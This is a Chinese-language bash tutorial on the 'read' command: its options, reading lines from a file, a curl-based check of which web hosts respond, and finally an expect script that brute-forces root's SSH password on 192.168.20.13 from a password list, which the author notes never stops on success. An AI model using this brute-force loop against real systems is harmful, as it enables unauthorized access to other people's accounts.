read选项可以获取用户输入
具体用法是read <变量>
-p: 指定一段文本
-s: 无显示读取,输入过程中不显示,适用于密码输入
-n: 统计输入的字符数,指定输入字符的数量
-t: 计时器,指定输入等待时间
#!/bin/bash
if read -t 5 -s -n 6 -p "Enter your password:" pass
then
echo
echo $pass
else
echo
echo "password error"
fi
上面这段代码在倒计时五秒之后退出,输入是隐藏的,并且在统计到六个字符的时候退出
效果如下
read还有一个很厉害的功能,那就是从文件中读取
利用这个功能,我们可以去做一些密码测试,网页连通性测试
网页连通性测试
#!/bin/bash
cat ./ip.txt | while read ip
do
if `curl -vl $ip &> /dev/null`
then
echo
echo "----------------------------------------------------------------txcg----------------------------------------------------------------------"
echo "----------------------------------------------------------------txcg----------------------------------------------------------------------" > ./iptc.txt
echo
echo "$ip" > ./iptc.txt
echo "$ip"
echo
curl -vl $ip &> ./iptc.txt
echo " $( cat ./iptc.txt | grep HTTP/) "
fi
done
效果如下
密码爆破(由于只是测试,这段代码没有进行改进,会出现一些小问题)
#!/bin/bash
cat /root/shellbc/\$read/pass.txt | while read pass
do
echo
echo $pass
/usr/bin/expect << EOF
spawn ssh root@192.168.20.13;
sleep 3
expect "*password:";
send "$pass\r";
expect eof
EOF
echo
done
效果如下
他会对pass.txt里面的文本进行反复测试
这里由于没有做判断终止循环,他会一直试下去,可能需要手动改进